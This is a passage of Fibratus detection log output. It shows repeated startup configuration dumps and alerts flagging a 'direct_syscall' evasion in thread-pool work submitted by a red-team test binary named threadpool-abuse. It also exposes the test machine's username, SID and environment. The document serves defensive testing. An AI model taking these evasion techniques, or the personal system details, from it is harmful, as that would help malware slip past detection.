WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff65a0910c6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff65a0912d8 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T16:13:09+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T16:13:13+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:13:14+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:14:57+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T16:14:57+01:00 level=info msg=bootstrapping with pid 18676. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T16:14:57+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html use-template=>true to=>[] port=>25 enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-handle=>false enable-vamap=>true enable-image=>true enable-dns=>false enable-mem=>false max-buffers=>36 enable-thread=>true enable-audit-api=>true enable-registry=>true enable-threadpool=>true min-buffers=>16 stack-enrichment=>true enable-fileio=>true enable-net=>true flush-interval=>1s buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true formatter=>text max-backups=>15 max-size=>100 level=>info max-age=>0] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty enabled=>true] amqp=>[ url=>amqp://localhost:5672 timeout=>5s tls-insecure-skip-verify=>false exchange-type=>topic delivery-mode=>transient durable=>false vhost=>/ passive=>false routing-key=>fibratus exchange=>fibratus enabled=>false] elasticsearch=>[ index-name=>fibratus enabled=>false healthcheck-interval=>10s flush-period=>1s healthcheck=>true healthcheck-timeout=>5s gzip-compression=>false timeout=>5s bulk-workers=>1 servers=>[http://127.0.0.1:9200] trace-log=>false sniff=>false template-name=>fibratus] http=>[ timeout=>5s enable-gzip=>false method=>POST endpoints=>[] enabled=>false tls-insecure-skip-verify=>false serializer=>json]] + pe ............................. [ read-resources=>false read-sections=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-allocs=>false enabled=>false excluded-procs=>[] fastscan=>true scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false excluded-files=>[] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T16:14:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:14:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:15:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T16:15:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:15:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:36:00+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T16:36:00+01:00 level=info msg=bootstrapping with pid 7808. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T16:36:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html port=>25 use-template=>true enabled=>false to=>[]]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-handle=>false flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false min-buffers=>16 enable-net=>true enable-audit-api=>true enable-thread=>true stack-enrichment=>true buffer-size=>512 enable-registry=>true enable-image=>true enable-vamap=>true enable-threadpool=>true enable-mem=>false max-buffers=>36 enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text level=>info max-age=>0 log-stdout=>true max-size=>100 max-backups=>15] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] elasticsearch=>[ healthcheck-interval=>10s gzip-compression=>false timeout=>5s healthcheck=>true healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false bulk-workers=>1 flush-period=>1s template-name=>fibratus index-name=>fibratus trace-log=>false sniff=>false] http=>[ enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false serializer=>json method=>POST enabled=>false timeout=>5s] amqp=>[ durable=>false passive=>false routing-key=>fibratus delivery-mode=>transient exchange=>fibratus url=>amqp://localhost:5672 vhost=>/ exchange-type=>topic timeout=>5s enabled=>false tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false scan-timeout=>10s excluded-procs=>[] enabled=>false skip-mmaps=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T16:36:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:36:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:36:07+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 476277 + Pid: 10760 + Tid: 5880 + Type: SubmitThreadpoolWork + CPU: 5 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 16:36:07.5377483 +0100 CET + Params: callback➜ 7ff646f11000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 187d9a91a80, subprocess_tag➜ 0, task_id➜ 187d9aa3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 10760 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff646f11066 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff646f11278 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T16:39:08+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 582219 + Pid: 7084 + Tid: 15656 + Type: SubmitThreadpoolWork + CPU: 1 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 16:39:07.1628228 +0100 CET + Params: callback➜ 7ff7261a1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 255f5221a80, subprocess_tag➜ 0, task_id➜ 255f5233aa8 + Metadata: evasions: [direct_syscall] + + Pid: 7084 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff7261a10b6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff7261a1380 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T16:42:26+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T16:42:27+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:42:27+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:43:04+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T16:43:04+01:00 level=info msg=bootstrapping with pid 9684. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T16:43:04+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false to=>[] port=>25 content-type=>text/html use-template=>true] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ flush-interval=>1s enable-fileio=>true stack-enrichment=>true enable-mem=>false enable-thread=>true enable-net=>true max-buffers=>36 enable-audit-api=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>true enable-vamap=>true enable-image=>true enable-registry=>true enable-dns=>false enable-handle=>false min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-size=>100 formatter=>text max-backups=>15 level=>info] + output ......................... [ http=>[ enabled=>false serializer=>json method=>POST endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s enable-gzip=>false] elasticsearch=>[ timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s index-name=>fibratus healthcheck-timeout=>5s bulk-workers=>1 template-name=>fibratus gzip-compression=>false trace-log=>false enabled=>false healthcheck=>true sniff=>false flush-period=>1s] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] amqp=>[ routing-key=>fibratus delivery-mode=>transient passive=>false durable=>false vhost=>/ tls-insecure-skip-verify=>false timeout=>5s exchange-type=>topic url=>amqp://localhost:5672 exchange=>fibratus enabled=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-files=>false skip-allocs=>false skip-registry=>false skip-mmaps=>false excluded-procs=>[] enabled=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T16:43:04+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:43:06+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:43:09+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 831223 + Pid: 20288 + Tid: 21924 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 16:43:09.6328479 +0100 CET + Params: callback➜ 7ff7261a1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 25419f71a80, subprocess_tag➜ 0, task_id➜ 25419f83aa8 + Metadata: evasions: [direct_syscall] + + Pid: 20288 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff7261a10b6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff7261a1380 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T16:43:23+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T16:43:23+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:43:24+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:43:58+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T16:43:58+01:00 level=info msg=bootstrapping with pid 18944. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T16:43:58+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] mail=>[ content-type=>text/html enabled=>false use-template=>true to=>[] port=>25] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-fileio=>true enable-vamap=>true enable-audit-api=>true stack-enrichment=>true enable-mem=>false enable-handle=>false enable-thread=>true enable-threadpool=>true flush-interval=>1s min-buffers=>16 enable-image=>true enable-registry=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true buffer-size=>512 enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-size=>100 formatter=>text max-backups=>15 log-stdout=>true level=>info] + output ......................... [ amqp=>[ vhost=>/ routing-key=>fibratus tls-insecure-skip-verify=>false durable=>false url=>amqp://localhost:5672 exchange=>fibratus exchange-type=>topic delivery-mode=>transient enabled=>false timeout=>5s passive=>false] http=>[ enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false method=>POST serializer=>json endpoints=>[] timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty enabled=>true] elasticsearch=>[ gzip-compression=>false healthcheck-interval=>10s bulk-workers=>1 servers=>[http://127.0.0.1:9200] timeout=>5s enabled=>false healthcheck=>true flush-period=>1s template-name=>fibratus sniff=>false healthcheck-timeout=>5s trace-log=>false index-name=>fibratus] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-registry=>false fastscan=>true skip-mmaps=>false skip-allocs=>false excluded-files=>[] excluded-procs=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T16:43:59+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:44:01+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:44:06+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 840755 + Pid: 10124 + Tid: 11860 + Type: SubmitThreadpoolWork + CPU: 3 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 16:44:05.7246576 +0100 CET + Params: callback➜ 7ff78efd1000, context➜ 0, pool_id➜ 2e5ad2c1a80, subprocess_tag➜ 0, task_id➜ 2e5ad2d3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 10124 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows 